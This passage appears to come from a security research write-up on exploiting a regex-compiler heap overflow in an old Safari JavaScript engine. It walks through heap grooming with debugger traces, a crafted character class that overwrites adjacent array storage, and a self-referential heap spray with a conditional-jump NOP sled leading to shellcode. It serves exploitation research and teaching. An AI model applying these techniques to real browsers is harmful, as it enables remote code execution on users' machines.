First we needed to defragment the heap for a target size of approximately 4000 bytes. The following debugger output shows how the first several allocations are needed to defragment the heap (note the jumping around of allocation addresses):
Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance () array buffer at$1 = 0x16278c78 Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance () array buffer at$2 = 0x50d000 Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance () array buffer at$3 = 0x510000 Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance () array buffer at$4 = 0x16155000 Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance () array buffer at$5 = 0x1647b000 Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance () array buffer at$6 = 0x1650f000 Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance () array buffer at$7 = 0x5ac000By the time we've done almost 1000 allocations, the heap starts to look totally predictable, and all allocations end up adjacent:
Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance () array buffer at$997 = 0x17164000 Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance () array buffer at$998 = 0x17165000 Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance () array buffer at$999 = 0x17166000 Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance () array buffer at$1000 = 0x17167000 Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance () array buffer at$1001 = 0x17168000 Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance () array buffer at$1002 = 0x17169000After freeing up a bunch of holes at the end using the garbage collection technique described in Section 2.4, we see the vulnerable buffer landing in the last hole at
0x17168000, right
before data we control at 0x17169000.
Breakpoint 2, 0x95846748 in jsRegExpCompile () regex buffer at$1004 = 0x17168000So we will now overflow our regex buffer into the
ArrayStorage data. The
bytes of the overflow have to be compiled regular expression bytes.
Luckily, the regular expression character class construct allows for virtually
arbitrary bytes in compiled form, as it compiles to 33 bytes, the
final 32 of which constitute a 256-bit bit array where a bit being set
to one
means that that character is in the class. Thus we use the character class
[\x00\x59\x5c\x5e] and arrange for it to land at the beginning of the
ArrayStorage data, since the first 3 dwords of its compiled bit
class are a non-zero dword, a zero dword, and an address in our heap
spray, namely:
0x00000001 0x00000000 0x52000000
Finally, we use a specially crafted heap spray using a large string of
the dword 0x52780278 followed by shellcode. We arrange the
spray allocation so that this address is in the spray. This is so
that it is self-referential, i.e. the dereferencing that occurs down the
chain from the object pointer through the VFT stays in the spray. Then, when interpreted as
instructions once execution begins, it becomes the conditional jumps:
78 02: js +0x2 78 52: js +0x52which are an effective NOP no matter what the jump condition value is: if the condition is true, a jump of two is taken to the beginning of the next instruction, and if the condition is false, it is false for the jump of
0x52 as well. This has the nice property of
meaning the most significant byte when determining the heap spray
address is completely unused in the sledding, as well as being 4-byte
aligned (a spray using the unconditional jump opcode 0xeb is not, and this can
be essential in some exploits).